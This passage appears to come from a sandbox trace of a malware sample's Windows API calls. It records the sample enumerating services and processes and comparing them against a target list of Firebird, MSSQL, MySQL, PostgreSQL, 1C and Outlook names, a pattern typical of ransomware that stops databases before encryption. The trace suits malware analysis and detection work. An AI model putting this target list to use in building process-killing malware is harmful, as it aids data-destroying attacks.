(lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0174.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0174.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0174.820] lstrlenW (lpString="Dhcp") returned 4 [0174.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0174.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0174.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0174.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0174.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0174.820] lstrlenW (lpString="Dnscache") returned 8 [0174.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0174.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0174.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0174.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0174.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0174.820] lstrlenW (lpString="DPS") returned 3 [0174.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0174.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0174.820] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0174.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0174.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0174.820] lstrlenW (lpString="eventlog") returned 8 [0174.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0174.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0174.820] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0174.820] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0174.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0174.821] lstrlenW (lpString="EventSystem") returned 11 [0174.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0174.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0174.821] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0174.821] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0174.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0174.821] lstrlenW (lpString="gpsvc") returned 5 [0174.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0174.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0174.821] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0174.821] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0174.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0174.821] lstrlenW (lpString="iphlpsvc") returned 8 [0174.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.821] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0174.821] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0174.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0174.821] lstrlenW (lpString="LanmanServer") returned 12 [0174.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0174.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0174.821] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0174.821] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0174.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0174.821] lstrlenW (lpString="LanmanWorkstation") returned 17 [0174.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.821] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0174.821] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0174.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0174.821] lstrlenW (lpString="lmhosts") returned 7 [0174.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0174.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0174.822] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0174.822] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0174.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0174.822] lstrlenW (lpString="MMCSS") returned 5 [0174.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0174.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0174.822] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0174.822] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0174.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0174.822] lstrlenW (lpString="MpsSvc") returned 6 [0174.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0174.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0174.822] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0174.822] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0174.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0174.822] lstrlenW (lpString="Netman") returned 6 [0174.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0174.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0174.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0174.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0174.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0174.822] lstrlenW (lpString="netprofm") returned 8 [0174.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0174.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0174.822] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0174.822] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0174.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0174.822] lstrlenW (lpString="NlaSvc") returned 6 [0174.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0174.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0174.823] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0174.823] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0174.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0174.823] lstrlenW (lpString="nsi") returned 3 [0174.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0174.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0174.823] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0174.823] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0174.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0174.823] lstrlenW (lpString="PcaSvc") returned 6 [0174.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0174.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0174.823] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0174.823] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0174.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0174.823] lstrlenW (lpString="PlugPlay") returned 8 [0174.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0174.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0174.823] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0174.823] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0174.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0174.823] lstrlenW (lpString="Power") returned 5 [0174.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0174.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0174.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0174.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0174.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0174.823] lstrlenW (lpString="ProfSvc") returned 7 [0174.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0174.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0174.824] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0174.824] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0174.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0174.824] lstrlenW (lpString="RpcEptMapper") returned 12 [0174.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.824] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0174.824] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0174.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0174.824] lstrlenW (lpString="RpcSs") returned 5 [0174.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0174.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0174.824] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0174.824] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0174.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0174.824] lstrlenW (lpString="SamSs") returned 5 [0174.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0174.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0174.824] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0174.824] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0174.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0174.824] lstrlenW (lpString="Schedule") returned 8 [0174.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0174.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0174.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0174.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0174.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0174.824] lstrlenW (lpString="SENS") returned 4 [0174.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0174.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0174.825] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0174.825] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0174.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0174.825] lstrlenW (lpString="ShellHWDetection") returned 16 [0174.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.825] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0174.825] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0174.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0174.825] lstrlenW (lpString="Spooler") returned 7 [0174.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0174.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0174.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0174.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0174.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0174.825] lstrlenW (lpString="SysMain") returned 7 [0174.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0174.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0174.825] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0174.825] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0174.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0174.825] lstrlenW (lpString="Themes") returned 6 [0174.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0174.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0174.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0174.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0174.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0174.825] lstrlenW (lpString="TrkWks") returned 6 [0174.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0174.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0174.826] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0174.826] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0174.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0174.826] lstrlenW (lpString="UxSms") returned 5 [0174.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0174.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0174.826] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0174.826] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0174.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0174.826] lstrlenW (lpString="WdiServiceHost") returned 14 [0174.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0174.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0174.826] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0174.826] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0174.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0174.826] lstrlenW (lpString="WdiSystemHost") returned 13 [0174.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0174.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0174.826] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0174.826] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0174.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0174.826] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0174.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0174.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0174.826] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0174.826] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0174.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0174.826] lstrlenW (lpString="Winmgmt") returned 7 [0174.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0174.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0174.827] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0174.827] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0174.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0174.827] lstrlenW (lpString="WPDBusEnum") returned 10 [0174.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0174.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0174.827] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0174.827] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0174.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0174.827] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0174.827] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x160 [0174.829] Process32FirstW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.829] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.829] lstrlenW (lpString="System") returned 6 [0174.829] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0174.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0174.829] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0174.829] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0174.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0174.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0174.829] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0174.829] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.830] lstrlenW (lpString="smss.exe") returned 8 [0174.830] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0174.830] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0174.830] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0174.830] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0174.830] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0174.830] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0174.830] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0174.830] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.830] lstrlenW (lpString="csrss.exe") returned 9 [0174.830] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0174.830] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0174.830] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0174.830] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0174.831] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0174.831] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0174.831] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0174.831] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.831] lstrlenW (lpString="wininit.exe") returned 11 [0174.831] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0174.831] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0174.831] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0174.831] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0174.831] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0174.831] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0174.831] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0174.831] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.831] lstrlenW (lpString="csrss.exe") returned 9 [0174.831] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0174.832] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0174.832] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0174.832] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0174.832] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0174.832] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0174.832] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.832] lstrlenW (lpString="winlogon.exe") returned 12 [0174.832] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.832] lstrlenW (lpString="services.exe") returned 12 [0174.833] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.833] lstrlenW (lpString="lsass.exe") returned 9 [0174.833] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0174.833] lstrlenW (lpString="lsm.exe") returned 7 [0174.833] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.834] lstrlenW (lpString="svchost.exe") returned 11 [0174.834] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.834] lstrlenW (lpString="svchost.exe") returned 11 [0174.834] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.834] lstrlenW (lpString="svchost.exe") returned 11 [0174.834] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.835] lstrlenW (lpString="svchost.exe") returned 11 [0174.835] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.835] lstrlenW (lpString="svchost.exe") returned 11 [0174.835] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.835] lstrlenW (lpString="audiodg.exe") returned 11 [0174.835] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.836] lstrlenW (lpString="svchost.exe") returned 11 [0174.836] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, 